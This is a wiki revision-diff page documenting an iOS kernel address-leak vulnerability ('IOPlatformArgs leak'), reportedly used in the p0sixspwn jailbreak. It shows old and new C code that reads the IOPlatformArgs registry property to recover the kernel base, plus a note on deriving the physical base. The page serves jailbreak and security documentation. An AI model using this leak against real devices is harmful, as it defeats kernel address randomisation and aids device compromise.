|
The iPhone Wiki is no longer updated. Visit this article on The Apple Wiki for current information. |
Difference between revisions of "IOPlatfromArgs leak"
| Line 3: | Line 3: | ||
This is the code |
This is the code |
||
<code> |
<code> |
||
| + | static uint32_t |
||
| − | unsigned long getKernelBase() { |
||
| + | get_kernel_base_boot_args(void) |
||
| − | unsigned long buf; |
||
| + | { |
||
| − | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceNameMatching("device-tree")); |
||
| + | CFStringRef parameter = CFSTR("IOPlatformArgs"); |
||
| − | if(service) |
||
| + | CFDataRef data; |
||
| + | |||
| + | io_service_t platformExpert = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice")); |
||
| + | if (platformExpert) |
||
{ |
{ |
||
| − | + | data = IORegistryEntryCreateCFProperty(platformExpert, |
|
| + | parameter, |
||
| − | if(macData != NULL) |
||
| + | kCFAllocatorDefault, 0); |
||
| − | { |
||
| − | /* |
||
| − | void CFDataGetBytes ( |
||
| − | CFDataRef theData, |
||
| − | CFRange range, |
||
| − | UInt8 *buffer |
||
| − | ); |
||
| − | */ |
||
| − | CFDataGetBytes(macData, CFRangeMake(0,sizeof(buf)), &buf); // TODO: buf != UInt8 |
||
| − | // XXX: TODO: change decrement based on device. |
||
| − | // N90 ONLY FOR NOW! |
||
| − | buf -= 0xE1C000; // Diff. |
||
| − | CFRelease(macData); |
||
| − | IOObjectRelease(service); |
||
| − | return buf; |
||
| − | } |
||
| − | IOObjectRelease(service); |
||
} |
} |
||
| + | |||
| − | return 0; |
||
| + | IOObjectRelease(platformExpert); |
||
| − | } // iH8sn0w |
||
| + | CFIndex bufferLength = CFDataGetLength(data); |
||
| + | UInt8 *buffer = malloc(bufferLength); |
||
| + | CFDataGetBytes(data, CFRangeMake(0,bufferLength), (UInt8*) buffer); |
||
| + | |||
| + | typedef struct { |
||
| + | uint32_t deviceTreeP; |
||
| + | uint32_t bootArgs; |
||
| + | uint32_t zero; |
||
| + | uint32_t zero_1; |
||
| + | } platformArgs; |
||
| + | platformArgs IOPlatformArgs; |
||
| + | bcopy(buffer, &IOPlatformArgs, sizeof(IOPlatformArgs)); |
||
| + | |||
| + | return IOPlatformArgs.bootArgs; |
||
| + | } |
||
</code> |
</code> |
||
Revision as of 13:38, 4 July 2014
Vulnerability used in p0sixspwn
This vulnerability leaks the kernel base address.
This is the code
static uint32_t
get_kernel_base_boot_args(void)
{
CFStringRef parameter = CFSTR("IOPlatformArgs");
CFDataRef data;
io_service_t platformExpert = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"));
if (platformExpert)
{
data = IORegistryEntryCreateCFProperty(platformExpert,
parameter,
kCFAllocatorDefault, 0);
}
IOObjectRelease(platformExpert);
CFIndex bufferLength = CFDataGetLength(data);
UInt8 *buffer = malloc(bufferLength);
CFDataGetBytes(data, CFRangeMake(0,bufferLength), (UInt8*) buffer);
typedef struct {
uint32_t deviceTreeP;
uint32_t bootArgs;
uint32_t zero;
uint32_t zero_1;
} platformArgs;
platformArgs IOPlatformArgs;
bcopy(buffer, &IOPlatformArgs, sizeof(IOPlatformArgs));
return IOPlatformArgs.bootArgs;
}
Once the attacker knows the virtual base, he can use the virt_to_phys macro to see what the physical base is, this way both bases are leaked. This all relies on the IOPlatformArgs bug